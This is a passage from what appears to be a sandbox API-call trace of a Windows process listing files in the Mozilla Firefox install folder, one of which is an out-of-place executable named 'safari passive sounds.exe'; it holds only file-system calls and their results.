	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3809e300, ftLastWriteTime.dwHighDateTime=0x1cac6b6, nFileSizeHigh=0x0, nFileSizeLow=0xbc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3318ad80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1b1870, dwReserved0=0x0, dwReserved1=0x0, cFileName="nss3.dll", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3449da80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x60070, dwReserved0=0x0, dwReserved1=0x0, cFileName="nssckbi.dll", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x34e27100, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="nssdbm3.chk", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x34e27100, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x16870, dwReserved0=0x0, dwReserved1=0x0, cFileName="nssdbm3.dll", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x58a5b700, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x771d55, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf10b340, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf10b340, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb1218800, ftLastWriteTime.dwHighDateTime=0x1ced1df, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="platform.ini", cAlternateFileName="")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x357b0780, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4870, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin-container.exe", cAlternateFileName="PLUGIN~1.EXE")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x36139e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x6e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin-hang-ui.exe", cAlternateFileName="PLUGIN~2.EXE")) returned 1
	[0055.380] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5c2963ee, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="precomplete", cAlternateFileName="PRECOM~1")) returned 1
	[0055.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x13c55480, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x8f3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="removed-files", cAlternateFileName="REMOVE~1")) returned 1
	[0055.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac3ffcd0, ftCreationTime.dwHighDateTime=0x1d4cc58, ftLastAccessTime.dwLowDateTime=0xba33afe0, ftLastAccessTime.dwHighDateTime=0x1d4ffb5, ftLastWriteTime.dwLowDateTime=0xba33afe0, ftLastWriteTime.dwHighDateTime=0x1d4ffb5, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="safari passive sounds.exe", cAlternateFileName="SAFARI~1.EXE")) returned 1
	[0055.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3744cb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="softokn3.chk", cAlternateFileName="")) returned 1
	[0055.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3744cb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x25870, dwReserved0=0x0, dwReserved1=0x0, cFileName="softokn3.dll", cAlternateFileName="")) returned 1
	[0055.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0925200, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0925200, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall", cAlternateFileName="UNINST~1")) returned 1
	[0055.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf157600, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf157600, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x9f38e880, ftLastWriteTime.dwHighDateTime=0x1ced1d1, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1
	[0055.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x37dd6180, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x42e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.exe", cAlternateFileName="")) returned 1
	[0055.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xac170580, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1
	[0055.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3875f800, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x29bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapp-uninstaller.exe", cAlternateFileName="WEBAPP~1.EXE")) returned 1
	[0055.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt", cAlternateFileName="")) returned 1
	[0055.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf17d760, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x390e8e80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a670, dwReserved0=0x0, dwReserved1=0x0, cFileName="webapprt-stub.exe", cAlternateFileName="WEBAPP~2.EXE")) returned 1
	[0055.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1a38c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1a38c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49266e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1502070, dwReserved0=0x0, dwReserved1=0x0, cFileName="xul.dll", cAlternateFileName="")) returned 1
	[0055.381] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.381] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.381] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\accessiblemarshal.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fda48 | out: lpFileInformation=0x123fda48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef422c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef422c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x23996480, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4e70)) returned 1
	[0055.382] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\d3dcompiler_43.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fda98 | out: lpFileInformation=0x123fda98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef8e580, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef8e580, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xfd9a7300, ftLastWriteTime.dwHighDateTime=0x1cafd02, nFileSizeHigh=0x0, nFileSizeLow=0x202368)) returned 1
	[0055.382] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\application.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\application.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fdae8 | out: lpFileInformation=0x123fdae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef68420, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x774f8200, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x279)) returned 1
	[0055.383] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\breakpadinjector.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fdb38 | out: lpFileInformation=0x123fdb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef68420, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2431fb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x12670)) returned 1
	[0055.383] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser"), fInfoLevelId=0x0, lpFileInformation=0x123fdb88 | out: lpFileInformation=0x123fdb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.384] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.384] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4910680, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x14623, dwReserved0=0x0, dwReserved1=0x0, cFileName="blocklist.xml", cAlternateFileName="BLOCKL~1.XML")) returned 1
	[0055.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1
	[0055.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="components", cAlternateFileName="COMPON~1")) returned 1
	[0055.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd9ee5100, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashreporter-override.ini", cAlternateFileName="CRASHR~1.INI")) returned 1
	[0055.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions", cAlternateFileName="EXTENS~1")) returned 1
	[0055.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x57748a00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x44080e, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1
	[0055.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="searchplugins", cAlternateFileName="SEARCH~1")) returned 1
	[0055.386] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.386] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.387] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml"), fInfoLevelId=0x0, lpFileInformation=0x123fde08 | out: lpFileInformation=0x123fde08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4910680, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x14623)) returned 1
	[0055.388] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\chrome.manifest"), fInfoLevelId=0x0, lpFileInformation=0x123fde58 | out: lpFileInformation=0x123fde58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x28)) returned 1
	[0055.388] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\components"), fInfoLevelId=0x0, lpFileInformation=0x123fdea8 | out: lpFileInformation=0x123fdea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.399] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.399] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.399] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.400] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49bf0480, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x42870, dwReserved0=0x0, dwReserved1=0x0, cFileName="browsercomps.dll", cAlternateFileName="BROWSE~1.DLL")) returned 1
